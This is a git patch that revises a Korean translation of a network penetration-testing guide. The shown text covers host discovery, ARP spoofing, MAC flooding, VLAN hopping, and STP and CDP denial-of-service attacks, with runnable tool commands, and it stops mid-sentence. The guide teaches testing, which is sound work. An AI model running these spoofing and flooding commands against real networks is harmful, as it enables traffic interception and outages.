From 90985656b7c341811442b88915b348acec89bca4 Mon Sep 17 00:00:00 2001 From: Translator Date: Wed, 30 Jul 2025 04:46:57 +0000 Subject: [PATCH] Translated ['src/generic-methodologies-and-resources/pentesting-network/ --- src/SUMMARY.md | 1 + .../pentesting-network/README.md | 167 +++++++++--------- .../telecom-network-exploitation.md | 140 +++++++++++++++ .../pam-pluggable-authentication-modules.md | 66 ++++++- 4 files changed, 290 insertions(+), 84 deletions(-) create mode 100644 src/generic-methodologies-and-resources/pentesting-network/telecom-network-exploitation.md diff --git a/src/SUMMARY.md b/src/SUMMARY.md index ad681ba95..df1a7762a 100644 --- a/src/SUMMARY.md +++ b/src/SUMMARY.md @@ -21,6 +21,7 @@ - [Network Protocols Explained (ESP)](generic-methodologies-and-resources/pentesting-network/network-protocols-explained-esp.md) - [Nmap Summary (ESP)](generic-methodologies-and-resources/pentesting-network/nmap-summary-esp.md) - [Pentesting IPv6](generic-methodologies-and-resources/pentesting-network/pentesting-ipv6.md) + - [Telecom Network Exploitation](generic-methodologies-and-resources/pentesting-network/telecom-network-exploitation.md) - [WebRTC DoS](generic-methodologies-and-resources/pentesting-network/webrtc-dos.md) - [Spoofing LLMNR, NBT-NS, mDNS/DNS and WPAD and Relay Attacks](generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md) - [Spoofing SSDP and UPnP Devices with EvilSSDP](generic-methodologies-and-resources/pentesting-network/spoofing-ssdp-and-upnp-devices.md) diff --git a/src/generic-methodologies-and-resources/pentesting-network/README.md b/src/generic-methodologies-and-resources/pentesting-network/README.md index 72f91c6f7..593a8b18c 100644 --- a/src/generic-methodologies-and-resources/pentesting-network/README.md +++ b/src/generic-methodologies-and-resources/pentesting-network/README.md @@ -6,14 +6,14 @@ ## 외부에서 호스트 발견하기 -이 섹션은 **인터넷**에서 **응답하는 IP**를 찾는 방법에 대한 **간단한 섹션**입니다.\ +이 섹션은 **인터넷**에서 **응답하는 IP**를 찾는 방법에 대한 **간단한 설명**입니다.\ 이 상황에서는 몇 개의 **IP 범위**(어쩌면 여러 **범위**)가 있으며, **어떤 IP가 응답하는지** 찾기만 하면 됩니다. ### ICMP -이것은 호스트가 작동 중인지 여부를 발견하는 **가장 쉽고 빠른** 방법입니다.\ +이것은 호스트가 작동 중인지 여부를 확인하는 **가장 쉽고 빠른** 방법입니다.\ 일부 **ICMP** 패킷을 보내고 **응답을 기대**할 수 있습니다. 가장 쉬운 방법은 **에코 요청**을 보내고 응답을 기대하는 것입니다. 간단한 `ping`을 사용하거나 **범위**에 대해 `fping`을 사용할 수 있습니다.\ -또한 **nmap**을 사용하여 다른 유형의 ICMP 패킷을 보낼 수 있습니다(이는 일반적인 ICMP 에코 요청-응답 필터를 피할 수 있습니다). +또한 **nmap**을 사용하여 다른 유형의 ICMP 패킷을 보낼 수도 있습니다(이는 일반적인 ICMP 에코 요청-응답 필터를 피하는 데 도움이 됩니다). ```bash ping -c 1 199.66.11.4 # 1 echo request to a host fping -g 199.66.11.0/24 # Send echo requests to ranges @@ -21,17 +21,17 @@ nmap -PE -PM -PP -sn -n 199.66.11.0/24 #Send echo, timestamp requests and subnet ``` ### TCP 포트 탐지 -모든 종류의 ICMP 패킷이 필터링되는 경우가 매우 흔합니다. 그러므로 호스트가 작동 중인지 확인하기 위해 할 수 있는 것은 **열려 있는 포트를 찾는 것**뿐입니다. 각 호스트는 **65535 포트**를 가지고 있으므로, "큰" 범위를 가지고 있다면 각 호스트의 **각 포트**가 열려 있는지 테스트할 수는 없습니다. 그렇게 하면 너무 많은 시간이 소요됩니다.\ -따라서 필요한 것은 **빠른 포트 스캐너** ([masscan](https://github.com/robertdavidgraham/masscan))와 **가장 많이 사용되는 포트** 목록입니다: +모든 종류의 ICMP 패킷이 필터링되는 경우가 매우 흔합니다. 그러므로 호스트가 작동 중인지 확인하기 위해 할 수 있는 것은 **열려 있는 포트를 찾는 것**입니다. 각 호스트는 **65535 포트**를 가지고 있으므로, "큰" 범위를 가지고 있다면 **각 호스트의 각 포트**가 열려 있는지 테스트할 수 없습니다. 그렇게 하면 너무 많은 시간이 소요됩니다.\ +따라서 필요한 것은 **빠른 포트 스캐너** ([masscan](https://github.com/robertdavidgraham/masscan))와 **가장 많이 사용되는 포트 목록**입니다: ```bash #Using masscan to scan top20ports of nmap in a /24 range (less than 5min) masscan -p20,21-23,25,53,80,110,111,135,139,143,443,445,993,995,1723,3306,3389,5900,8080 199.66.11.0/24 ``` -이 단계는 `nmap`을 사용하여 수행할 수도 있지만, 속도가 느리고 `nmap`이 호스트 식별에 문제가 있습니다. +`nmap`을 사용하여 이 단계를 수행할 수도 있지만, 속도가 느리고 `nmap`이 호스트를 식별하는 데 문제가 있습니다. ### HTTP 포트 탐색 -이것은 **HTTP** **서비스**를 발견하는 데 **집중하고자 할 때** 유용한 TCP 포트 탐색입니다: +이것은 **HTTP** **서비스**를 발견하는 데 집중하고 싶을 때 유용한 TCP 포트 탐색입니다: ```bash masscan -p80,443,8000-8100,8443 199.66.11.0/24 ``` @@ -43,14 +43,14 @@ nmap -sU -sV --version-intensity 0 -F -n 199.66.11.53/24 # The -sV will make nmap test each possible known UDP service packet # The "--version-intensity 0" will make nmap only test the most probable ``` -제안된 nmap 명령어는 **/24** 범위 내의 모든 호스트에서 **상위 1000 UDP 포트**를 테스트하지만, 이것만으로도 **>20분**이 걸립니다. **가장 빠른 결과**가 필요하다면 [**udp-proto-scanner**](https://github.com/portcullislabs/udp-proto-scanner)를 사용할 수 있습니다: `./udp-proto-scanner.pl 199.66.11.53/24` 이 명령은 **UDP 프로브**를 **예상 포트**로 전송합니다 ( /24 범위의 경우 단 1분이 소요됩니다): _DNSStatusRequest, DNSVersionBindReq, NBTStat, NTPRequest, RPCCheck, SNMPv3GetRequest, chargen, citrix, daytime, db2, echo, gtpv1, ike, ms-sql, ms-sql-slam, netop, ntp, rpc, snmp-public, systat, tftp, time, xdmcp._ +제안된 nmap 명령은 **/24** 범위 내의 모든 호스트에서 **상위 1000 UDP 포트**를 테스트하지만, 이것만으로도 **>20분**이 걸립니다. **가장 빠른 결과**가 필요하다면 [**udp-proto-scanner**](https://github.com/portcullislabs/udp-proto-scanner)를 사용할 수 있습니다: `./udp-proto-scanner.pl 199.66.11.53/24` 이 명령은 **UDP 프로브**를 예상 포트로 전송합니다 ( /24 범위의 경우 단 1분이 소요됩니다): _DNSStatusRequest, DNSVersionBindReq, NBTStat, NTPRequest, RPCCheck, SNMPv3GetRequest, chargen, citrix, daytime, db2, echo, gtpv1, ike, ms-sql, ms-sql-slam, netop, ntp, rpc, snmp-public, systat, tftp, time, xdmcp._ ### SCTP 포트 탐지 ```bash #Probably useless, but it's pretty fast, why not try it? nmap -T4 -sY -n --open -Pn ``` -## Wifi 펜테스팅 +## Pentesting Wifi 여기에는 작성 당시 잘 알려진 모든 Wifi 공격에 대한 멋진 가이드가 있습니다: @@ -58,13 +58,13 @@ nmap -T4 -sY -n --open -Pn ../pentesting-wifi/ {{#endref}} -## 내부에서 호스트 발견하기 +## Discovering hosts from the inside -네트워크 내부에 있다면 가장 먼저 하고 싶은 것 중 하나는 **다른 호스트를 발견하는 것**입니다. **얼마나 많은 소음**을 낼 수 있는지/내고 싶은지에 따라 다양한 작업을 수행할 수 있습니다: +네트워크 내부에 있다면 가장 먼저 하고 싶은 것 중 하나는 **다른 호스트를 발견하는 것**입니다. **얼마나 많은 소음**을 낼 수/원하는지에 따라 다양한 작업을 수행할 수 있습니다: -### 수동 +### Passive -연결된 네트워크 내부에서 호스트를 수동으로 발견하기 위해 이러한 도구를 사용할 수 있습니다: +연결된 네트워크 내에서 호스트를 수동으로 발견하기 위해 이러한 도구를 사용할 수 있습니다: ```bash netdiscover -p p0f -i eth0 -p -o /tmp/p0f.log @@ -107,9 +107,9 @@ _외부에서 호스트 발견하기_에서 언급된 기술들([_**ICMP**_](#ic ### **Wake On Lan** -Wake On Lan은 **네트워크 메시지**를 통해 컴퓨터를 **켜는 데** 사용됩니다. 컴퓨터를 켜기 위해 사용되는 매직 패킷은 **MAC Dst**가 제공되고 그 후 같은 패킷 내에서 **16번 반복**되는 패킷입니다.\ +Wake On Lan은 **네트워크 메시지**를 통해 컴퓨터를 **켜는 데** 사용됩니다. 컴퓨터를 켜는 데 사용되는 매직 패킷은 **MAC Dst**가 제공되고 그 후 같은 패킷 내에서 **16번 반복되는** 패킷입니다.\ 이러한 종류의 패킷은 일반적으로 **이더넷 0x0842** 또는 **포트 9로 UDP 패킷**으로 전송됩니다.\ -**[MAC]**이 제공되지 않으면 패킷은 **브로드캐스트 이더넷**으로 전송됩니다(브로드캐스트 MAC이 반복됩니다). +**[MAC]**이 제공되지 않으면 패킷은 **브로드캐스트 이더넷**으로 전송됩니다(그리고 브로드캐스트 MAC이 반복됩니다). ```bash # Bettercap (if no [MAC] is specificed ff:ff:ff:ff:ff:ff will be used/entire broadcast domain) wol.eth [MAC] #Send a WOL as a raw ethernet packet of type 0x0847 @@ -140,10 +140,10 @@ syn.scan 192.168.1.0/24 1 10000 #Ports 1-10000 UDP 포트를 스캔하는 방법은 2가지가 있습니다: -- **UDP 패킷**을 전송하고 포트가 **닫혀** 있는 경우 _**ICMP 도달 불가**_ 응답을 확인합니다 (여러 경우에 ICMP가 **필터링**되므로 포트가 닫혀 있거나 열려 있는지에 대한 정보를 받지 못할 수 있습니다). -- **형식화된 데이터그램**을 전송하여 **서비스**(예: DNS, DHCP, TFTP 등, _nmap-payloads_에 나열된 서비스)로부터 응답을 유도합니다. **응답**을 받으면 포트가 **열려** 있습니다. +- **UDP 패킷**을 전송하고 포트가 **닫혀** 있으면 _**ICMP 도달 불가**_ 응답을 확인합니다 (여러 경우에 ICMP가 **필터링**되어 포트가 닫혀 있거나 열려 있는지에 대한 정보를 받지 못할 수 있습니다). +- **형식화된 데이터그램**을 전송하여 **서비스**(예: DNS, DHCP, TFTP 등, _nmap-payloads_에 나열된)로부터 응답을 유도합니다. **응답**을 받으면 포트가 **열려** 있습니다. -**Nmap**은 "-sV"를 사용하여 두 가지 옵션을 **혼합**합니다 (UDP 스캔은 매우 느립니다), 하지만 UDP 스캔이 TCP 스캔보다 느리다는 점에 유의하십시오: +**Nmap**은 "-sV"를 사용하여 두 가지 옵션을 **혼합**합니다 (UDP 스캔은 매우 느립니다), 하지만 UDP 스캔이 TCP 스캔보다 느리다는 점에 유의하세요: ```bash # Check if any of the most common udp services is running udp-proto-scanner.pl @@ -157,7 +157,7 @@ nmap -sU -sV --version-intensity 0 -n -T4 ``` ### SCTP 스캔 -**SCTP (스트림 제어 전송 프로토콜)**는 **TCP (전송 제어 프로토콜)** 및 **UDP (사용자 데이터그램 프로토콜)**와 함께 사용되도록 설계되었습니다. 그 주요 목적은 IP 네트워크를 통해 전화 데이터의 전송을 용이하게 하여 **신호 시스템 7 (SS7)**에서 발견되는 많은 신뢰성 기능을 반영하는 것입니다. **SCTP**는 SS7 신호를 IP 네트워크를 통해 전송하는 것을 목표로 하는 **SIGTRAN** 프로토콜 패밀리의 핵심 구성 요소입니다. +**SCTP (스트림 제어 전송 프로토콜)**은 **TCP (전송 제어 프로토콜)** 및 **UDP (사용자 데이터그램 프로토콜)**와 함께 사용되도록 설계되었습니다. 그 주요 목적은 IP 네트워크를 통해 전화 데이터의 전송을 용이하게 하여 **신호 시스템 7 (SS7)**에서 발견되는 많은 신뢰성 기능을 반영하는 것입니다. **SCTP**는 SS7 신호를 IP 네트워크를 통해 전송하는 것을 목표로 하는 **SIGTRAN** 프로토콜 패밀리의 핵심 구성 요소입니다. **SCTP**에 대한 지원은 **IBM AIX**, **Oracle Solaris**, **HP-UX**, **Linux**, **Cisco IOS**, **VxWorks**와 같은 다양한 운영 체제에서 제공되며, 이는 통신 및 네트워킹 분야에서의 폭넓은 수용과 유용성을 나타냅니다. @@ -174,7 +174,7 @@ nmap -T4 -p- -sY -sV -sC -F -n -oA SCTAllScan ids-evasion.md {{#endref}} -### **더 많은 nmap 옵션** +### **추가 nmap 옵션** {{#ref}} nmap-summary-esp.md @@ -228,7 +228,7 @@ set net.sniff.regexp #If set only packets matching this regex will be considered ### ARP 스푸핑 -ARP 스푸핑은 기계의 IP가 우리의 장치의 MAC임을 나타내기 위해 불필요한 ARP 응답을 보내는 것입니다. 그러면 피해자는 ARP 테이블을 변경하고 스푸핑된 IP에 연락할 때마다 우리의 장치에 연락하게 됩니다. +ARP 스푸핑은 기계의 IP가 우리의 장치의 MAC을 가지고 있음을 나타내기 위해 불필요한 ARP 응답을 보내는 것입니다. 그러면 피해자는 ARP 테이블을 변경하고 스푸핑된 IP에 연락할 때마다 우리의 장치에 연락하게 됩니다. #### **Bettercap** ```bash @@ -246,7 +246,7 @@ arpspoof -t 192.168.1.2 192.168.1.1 ``` ### MAC Flooding - CAM overflow -스위치의 CAM 테이블을 오버플로우시키기 위해 다양한 소스 MAC 주소를 가진 많은 패킷을 전송합니다. CAM 테이블이 가득 차면 스위치는 허브처럼 동작하기 시작합니다(모든 트래픽을 브로드캐스트). +스위치의 CAM 테이블을 오버플로우하여 다양한 소스 MAC 주소로 많은 패킷을 전송합니다. CAM 테이블이 가득 차면 스위치는 허브처럼 동작하기 시작합니다(모든 트래픽을 브로드캐스트). ```bash macof -i ``` @@ -256,13 +256,13 @@ macof -i #### 동적 트렁킹 -**Dynamic Trunking Protocol (DTP)**는 트렁킹을 위한 자동 시스템을 용이하게 하기 위해 설계된 링크 계층 프로토콜로, 스위치가 트렁크 모드(Trunk) 또는 비트렁크 모드를 위해 포트를 자동으로 선택할 수 있도록 합니다. **DTP**의 배치는 종종 최적이 아닌 네트워크 설계를 나타내는 것으로 간주되며, 필요할 때만 수동으로 트렁크를 구성하고 적절한 문서를 보장하는 것이 중요함을 강조합니다. +**Dynamic Trunking Protocol (DTP)**는 트렁킹을 위한 자동 시스템을 용이하게 하기 위해 설계된 링크 계층 프로토콜로, 스위치가 트렁크 모드(Trunk) 또는 비트렁크 모드에서 포트를 자동으로 선택할 수 있도록 합니다. **DTP**의 배치는 종종 최적이 아닌 네트워크 설계를 나타내며, 필요할 때만 수동으로 트렁크를 구성하고 적절한 문서를 보장하는 것이 중요함을 강조합니다. -기본적으로 스위치 포트는 동적 자동 모드로 설정되어 있어, 이웃 스위치에 의해 트렁킹을 시작할 준비가 되어 있습니다. 보안 문제는 펜테스터나 공격자가 스위치에 연결하고 DTP Desirable 프레임을 전송하여 포트를 트렁크 모드로 강제할 때 발생합니다. 이 작업은 공격자가 STP 프레임 분석을 통해 VLAN을 열거하고 가상 인터페이스를 설정하여 VLAN 세분화를 우회할 수 있게 합니다. +기본적으로 스위치 포트는 동적 자동 모드에서 작동하도록 설정되어 있으며, 이는 이웃 스위치에 의해 트렁킹을 시작할 준비가 되어 있음을 의미합니다. 보안 문제는 펜테스터나 공격자가 스위치에 연결하고 DTP Desirable 프레임을 전송하여 포트를 트렁크 모드로 강제할 때 발생합니다. 이 작업은 공격자가 STP 프레임 분석을 통해 VLAN을 열거하고 가상 인터페이스를 설정하여 VLAN 세분화를 우회할 수 있게 합니다. -많은 스위치에서 기본적으로 DTP가 존재하는 것은 적들이 스위치의 동작을 모방하여 모든 VLAN의 트래픽에 접근할 수 있도록 악용될 수 있습니다. 스크립트 [_**dtpscan.sh**_](https://github.com/commonexploits/dtpscan)는 인터페이스를 모니터링하여 스위치가 기본(Default), 트렁크(Trunk), 동적(Dynamic), 자동(Auto) 또는 액세스(Access) 모드에 있는지를 나타내며, 후자는 VLAN 홉핑 공격에 면역인 유일한 구성입니다. 이 도구는 스위치의 취약성 상태를 평가합니다. +많은 스위치에서 기본적으로 DTP가 존재하는 것은 적들이 스위치의 동작을 모방하여 모든 VLAN의 트래픽에 접근할 수 있도록 악용될 수 있습니다. 스크립트 [_**dtpscan.sh**_](https://github.com/commonexploits/dtpscan)는 인터페이스를 모니터링하는 데 사용되며, 스위치가 기본(Default), 트렁크(Trunk), 동적(Dynamic), 자동(Auto) 또는 액세스(Access) 모드에 있는지를 나타냅니다. 이 중 액세스 모드만이 VLAN 홉핑 공격에 면역이 있는 구성입니다. 이 도구는 스위치의 취약성 상태를 평가합니다. -네트워크 취약성이 식별되면, _**Yersinia**_ 도구를 사용하여 DTP 프로토콜을 통해 "트렁킹을 활성화"할 수 있으며, 이를 통해 모든 VLAN의 패킷을 관찰할 수 있습니다. +네트워크 취약성이 확인되면, _**Yersinia**_ 도구를 사용하여 DTP 프로토콜을 통해 "트렁킹을 활성화"할 수 있으며, 이를 통해 모든 VLAN의 패킷을 관찰할 수 있습니다. ```bash apt-get install yersinia #Installation sudo apt install kali-linux-large #Another way to install it in Kali @@ -275,7 +275,7 @@ yersinia -G #For graphic mode ``` ![](<../../images/image (269).png>) -VLAN을 열거하기 위해 [**DTPHijacking.py**](https://github.com/in9uz/VLANPWN/blob/main/DTPHijacking.py)** 스크립트를 사용하여 DTP Desirable 프레임을 생성할 수도 있습니다. 어떤 상황에서도 스크립트를 중단하지 마십시오. DTP Desirable을 매 3초마다 주입합니다. **스위치에서 동적으로 생성된 트렁크 채널은 5분 동안만 유지됩니다. 5분 후, 트렁크는 사라집니다.** +VLAN을 열거하기 위해 [**DTPHijacking.py**](https://github.com/in9uz/VLANPWN/blob/main/DTPHijacking.py)** 스크립트를 사용하여 DTP Desirable 프레임을 생성할 수도 있습니다. 어떤 상황에서도 스크립트를 중단하지 마십시오. DTP Desirable을 매 3초마다 주입합니다. **스위치에서 동적으로 생성된 트렁크 채널은 5분 동안만 유지됩니다. 5분 후에 트렁크가 끊어집니다.** ``` sudo python3 DTPHijacking.py --interface eth0 ``` @@ -329,7 +329,7 @@ sudo dhclient -v eth0.30 공격자가 **희생자 호스트의 MAC, IP 및 VLAN ID 값을** 알고 있다면, 그는 **프레임을 두 번 태그**하여 지정된 VLAN과 희생자의 VLAN으로 패킷을 전송할 수 있습니다. **희생자가 공격자와 다시 연결할 수 없기 때문에**, **공격자에게 가장 좋은 옵션은 UDP를 통해 통신**하여 흥미로운 작업을 수행할 수 있는 프로토콜(SNMP와 같은)과 연결하는 것입니다. -공격자의 또 다른 옵션은 **공격자가 제어하는 IP를 스푸핑하여 희생자가 접근할 수 있는 TCP 포트 스캔을 시작**하는 것입니다(아마도 인터넷을 통해). 그런 다음, 공격자는 희생자로부터 패킷을 수신하는지 확인하기 위해 자신이 소유한 두 번째 호스트에서 스니핑할 수 있습니다. +공격자의 또 다른 옵션은 **공격자가 제어하고 희생자가 접근할 수 있는 IP를 스푸핑하여 TCP 포트 스캔을 시작하는 것**입니다(아마도 인터넷을 통해). 그런 다음, 공격자는 자신의 두 번째 호스트에서 희생자로부터 패킷을 수신하는지 스니핑할 수 있습니다. ![](<../../images/image (190).png>) @@ -342,7 +342,7 @@ sendp(packet) ``` #### Lateral VLAN Segmentation Bypass -스위치에 **직접 연결되어 있는 경우**, 네트워크 내에서 **VLAN 세분화를 우회할 수 있는 능력**이 있습니다. 포트를 **트렁크 모드로 전환**하고(트렁크라고도 함), 대상 VLAN의 ID로 가상 인터페이스를 생성한 후 IP 주소를 구성하면 됩니다. 주소를 동적으로 요청(DHCP)하거나 정적으로 구성할 수 있습니다. 이는 경우에 따라 다릅니다. +스위치에 **직접 연결되어 있는 경우**, 네트워크 내에서 **VLAN 세분화를 우회할 수 있는 능력**이 있습니다. 포트를 **트렁크 모드로 전환**하고(트렁크라고도 함), 대상 VLAN의 ID로 가상 인터페이스를 생성한 후 IP 주소를 구성하면 됩니다. 주소를 동적으로 요청(DHCP)하거나 정적으로 구성할 수 있습니다. 상황에 따라 다릅니다. {{#ref}} lateral-vlan-segmentation-bypass.md @@ -350,14 +350,14 @@ lateral-vlan-segmentation-bypass.md #### Layer 3 Private VLAN Bypass -게스트 무선 네트워크와 같은 특정 환경에서는 **포트 격리(프라이빗 VLAN이라고도 함)** 설정이 구현되어 무선 액세스 포인트에 연결된 클라이언트가 서로 직접 통신하지 못하도록 합니다. 그러나 이러한 격리 조치를 우회할 수 있는 기술이 확인되었습니다. 이 기술은 네트워크 ACL의 부족 또는 잘못된 구성을 이용하여 IP 패킷이 라우터를 통해 동일 네트워크의 다른 클라이언트에 도달할 수 있도록 합니다. +특정 환경, 예를 들어 게스트 무선 네트워크에서는 **포트 격리(프라이빗 VLAN이라고도 함)** 설정이 구현되어 무선 액세스 포인트에 연결된 클라이언트가 서로 직접 통신하지 못하도록 합니다. 그러나 이러한 격리 조치를 우회할 수 있는 기술이 확인되었습니다. 이 기술은 네트워크 ACL의 부재 또는 잘못된 구성을 이용하여 IP 패킷이 라우터를 통해 같은 네트워크의 다른 클라이언트에 도달할 수 있도록 합니다. -공격은 **대상 클라이언트의 IP 주소를 포함하지만 라우터의 MAC 주소를 가진 패킷을 생성**하여 실행됩니다. 이로 인해 라우터는 패킷을 잘못 전달하여 대상 클라이언트에게 전달하게 됩니다. 이 접근 방식은 피해자가 접근할 수 있는 호스트를 제어하여 보안 결함을 이용하는 더블 태깅 공격에서 사용되는 방식과 유사합니다. +공격은 **목표 클라이언트의 IP 주소를 포함하지만 라우터의 MAC 주소를 가진 패킷을 생성**하여 실행됩니다. 이로 인해 라우터는 패킷을 잘못 전달하여 목표 클라이언트에게 전송하게 됩니다. 이 접근 방식은 피해자가 접근할 수 있는 호스트를 제어하여 보안 결함을 이용하는 더블 태깅 공격에서 사용되는 방식과 유사합니다. **공격의 주요 단계:** -1. **패킷 제작:** 대상 클라이언트의 IP 주소를 포함하되 라우터의 MAC 주소를 가진 패킷을 특별히 제작합니다. -2. **라우터 동작 이용:** 제작된 패킷이 라우터로 전송되며, 구성으로 인해 패킷이 대상 클라이언트로 리디렉션되어 프라이빗 VLAN 설정에 의해 제공되는 격리를 우회합니다. +1. **패킷 제작:** 목표 클라이언트의 IP 주소를 포함하되 라우터의 MAC 주소를 가진 패킷을 특별히 제작합니다. +2. **라우터 동작 이용:** 제작된 패킷이 라우터로 전송되며, 구성으로 인해 패킷이 목표 클라이언트로 리디렉션되어 프라이빗 VLAN 설정에 의해 제공되는 격리를 우회합니다. ### VTP Attacks @@ -365,9 +365,9 @@ VTP (VLAN Trunking Protocol)는 VLAN 관리를 중앙 집중화합니다. 수정 #### VTP Domain Roles -- **VTP Server:** VLAN을 관리하며 생성, 삭제, 수정합니다. 도메인 구성원에게 VTP 알림을 방송합니다. -- **VTP Client:** VTP 알림을 수신하여 VLAN 데이터베이스를 동기화합니다. 이 역할은 로컬 VLAN 구성 수정이 제한됩니다. -- **VTP Transparent:** VTP 업데이트에 참여하지 않지만 VTP 알림을 전달합니다. VTP 공격의 영향을 받지 않으며 수정 번호는 항상 0으로 유지됩니다. +- **VTP Server:** VLAN을 관리하며, 생성, 삭제, 수정합니다. 도메인 구성원에게 VTP 공지를 방송합니다. +- **VTP Client:** VTP 공지를 수신하여 VLAN 데이터베이스를 동기화합니다. 이 역할은 로컬 VLAN 구성 수정이 제한됩니다. +- **VTP Transparent:** VTP 업데이트에 참여하지 않지만 VTP 공지를 전달합니다. VTP 공격의 영향을 받지 않으며, 수정 번호는 항상 0으로 유지됩니다. #### VTP Advertisement Types @@ -375,7 +375,7 @@ VTP (VLAN Trunking Protocol)는 VLAN 관리를 중앙 집중화합니다. 수정 - **Subset Advertisement:** VLAN 구성 변경 후 전송됩니다. - **Advertisement Request:** VTP 클라이언트가 Summary Advertisement를 요청하기 위해 발행하며, 일반적으로 더 높은 구성 수정 번호를 감지한 후에 발생합니다. -VTP 취약점은 트렁크 포트를 통해서만 악용될 수 있으며, VTP 알림은 오직 트렁크 포트를 통해서만 순환합니다. DTP 공격 후 시나리오는 VTP로 전환될 수 있습니다. Yersinia와 같은 도구는 VTP 공격을 용이하게 하여 VLAN 데이터베이스를 삭제하고 네트워크를 효과적으로 중단시킬 수 있습니다. +VTP 취약점은 트렁크 포트를 통해서만 악용될 수 있으며, VTP 공지는 오직 트렁크 포트를 통해서만 순환합니다. DTP 공격 후 시나리오는 VTP로 전환될 수 있습니다. Yersinia와 같은 도구는 VTP 공격을 용이하게 하여 VLAN 데이터베이스를 삭제하고 네트워크를 효과적으로 중단시킬 수 있습니다. 참고: 이 논의는 VTP 버전 1(VTPv1)에 관한 것입니다. ````bash @@ -385,27 +385,27 @@ Yersinia의 그래픽 모드에서 모든 VTP VLAN 삭제 옵션을 선택하여 ### STP 공격 -**인터페이스에서 BPDU 프레임을 캡처할 수 없다면 STP 공격에 성공할 가능성이 낮습니다.** +**인터페이스에서 BPDU 프레임을 캡처할 수 없다면 STP 공격에 성공할 가능성은 낮습니다.** #### **STP BPDU DoS** -많은 BPDUs TCP (Topology Change Notification) 또는 Conf (토폴로지가 생성될 때 전송되는 BPDU)를 전송하면 스위치가 과부하되어 제대로 작동하지 않게 됩니다. +많은 BPDUs TCP(Topology Change Notification) 또는 Conf(토폴로지가 생성될 때 전송되는 BPDUs)를 전송하면 스위치가 과부하되어 제대로 작동하지 않게 됩니다. ```bash yersinia stp -attack 2 yersinia stp -attack 3 #Use -M to disable MAC spoofing ``` -#### **STP TCP Attack** +#### **STP TCP 공격** -TCP가 전송되면 스위치의 CAM 테이블은 15초 후에 삭제됩니다. 그런 다음, 이러한 종류의 패킷을 지속적으로 전송하면 CAM 테이블이 지속적으로 (또는 매 15초마다) 재시작되고, 재시작될 때 스위치는 허브처럼 동작합니다. +TCP가 전송되면 스위치의 CAM 테이블은 15초 후에 삭제됩니다. 그런 다음, 이러한 종류의 패킷을 지속적으로 전송하면 CAM 테이블이 지속적으로 (또는 매 15초마다) 재시작되며, 재시작될 때 스위치는 허브처럼 동작합니다. ```bash yersinia stp -attack 1 #Will send 1 TCP packet and the switch should restore the CAM in 15 seconds yersinia stp -attack 0 #Will send 1 CONF packet, nothing else will happen ``` #### **STP 루트 공격** -공격자는 스위치의 동작을 시뮬레이션하여 네트워크의 STP 루트가 됩니다. 그런 다음 더 많은 데이터가 그를 통해 전달됩니다. 이는 두 개의 다른 스위치에 연결되어 있을 때 흥미롭습니다.\ -이는 **우선순위** 값이 실제 루트 스위치의 실제 우선순위보다 낮다고 말하는 BPDUs CONF 패킷을 전송하여 수행됩니다. +공격자는 스위치의 동작을 시뮬레이션하여 네트워크의 STP 루트가 됩니다. 그런 다음, 더 많은 데이터가 그를 통해 전달됩니다. 이는 두 개의 서로 다른 스위치에 연결되어 있을 때 흥미롭습니다.\ +이는 **우선순위** 값이 실제 루트 스위치의 실제 우선순위보다 낮다고 말하는 BPDUs CONF 패킷을 전송함으로써 수행됩니다. ```bash yersinia stp -attack 4 #Behaves like the root switch yersinia stp -attack 5 #This will make the device behaves as a switch but will not be root @@ -421,7 +421,7 @@ CISCO Discovery Protocol (CDP)는 CISCO 장치 간의 통신에 필수적이며, #### 수동 데이터 수집 -CDP는 모든 포트를 통해 정보를 브로드캐스트하도록 구성되어 있어 보안 위험을 초래할 수 있습니다. 공격자는 스위치 포트에 연결할 경우 **Wireshark**, **tcpdump** 또는 **Yersinia**와 같은 네트워크 스니퍼를 배포할 수 있습니다. 이 작업은 네트워크 장치에 대한 민감한 데이터를 드러낼 수 있으며, 여기에는 모델과 실행 중인 Cisco IOS의 버전이 포함됩니다. 공격자는 식별된 Cisco IOS 버전의 특정 취약점을 목표로 삼을 수 있습니다. +CDP는 모든 포트를 통해 정보를 브로드캐스트하도록 구성되어 있어 보안 위험을 초래할 수 있습니다. 공격자는 스위치 포트에 연결하면 **Wireshark**, **tcpdump** 또는 **Yersinia**와 같은 네트워크 스니퍼를 배포할 수 있습니다. 이 작업은 네트워크 장치에 대한 민감한 데이터를 드러낼 수 있으며, 여기에는 모델과 실행 중인 Cisco IOS 버전이 포함됩니다. 공격자는 식별된 Cisco IOS 버전의 특정 취약점을 목표로 삼을 수 있습니다. #### CDP 테이블 플러딩 유도 @@ -431,18 +431,18 @@ sudo yersinia cdp -attack 1 # Initiates a DoS attack by simulating fake CISCO de # Alternatively, for a GUI approach: sudo yersinia -G ``` -이 공격 동안 스위치의 CPU와 CDP 이웃 테이블이 심각하게 부담을 받아, 과도한 자원 소비로 인해 종종 **“네트워크 마비”**라고 불리는 상태에 이르게 됩니다. +이 공격 동안 스위치의 CPU와 CDP 이웃 테이블은 심각하게 부담을 받으며, 과도한 자원 소비로 인해 종종 **“네트워크 마비”**라고 불리는 상황이 발생합니다. #### CDP 임프ersonation 공격 ```bash sudo yersinia cdp -attack 2 #Simulate a new CISCO device sudo yersinia cdp -attack 0 #Send a CDP packet ``` -당신은 또한 [**scapy**](https://github.com/secdev/scapy/)를 사용할 수 있습니다. `scapy/contrib` 패키지로 설치하는 것을 잊지 마세요. +[**scapy**](https://github.com/secdev/scapy/)를 사용할 수도 있습니다. `scapy/contrib` 패키지로 설치하는 것을 잊지 마세요. ### VoIP 공격 및 VoIP Hopper 도구 -VoIP 전화는 IoT 장치와 점점 더 통합되어 있으며, 특별한 전화번호를 통해 문을 열거나 온도 조절기를 제어하는 기능을 제공합니다. 그러나 이러한 통합은 보안 위험을 초래할 수 있습니다. +IoT 장치와 점점 더 통합되는 VoIP 전화는 특별한 전화번호를 통해 문을 열거나 온도 조절기를 제어하는 기능을 제공합니다. 그러나 이러한 통합은 보안 위험을 초래할 수 있습니다. 도구 [**voiphopper**](http://voiphopper.sourceforge.net)는 다양한 환경(Cisco, Avaya, Nortel, Alcatel-Lucent)에서 VoIP 전화를 에뮬레이트하도록 설계되었습니다. CDP, DHCP, LLDP-MED 및 802.1Q ARP와 같은 프로토콜을 사용하여 음성 네트워크의 VLAN ID를 발견합니다. @@ -452,12 +452,12 @@ VoIP 전화는 IoT 장치와 점점 더 통합되어 있으며, 특별한 전화 2. **Spoof Mode** (`-c 1`): 실제 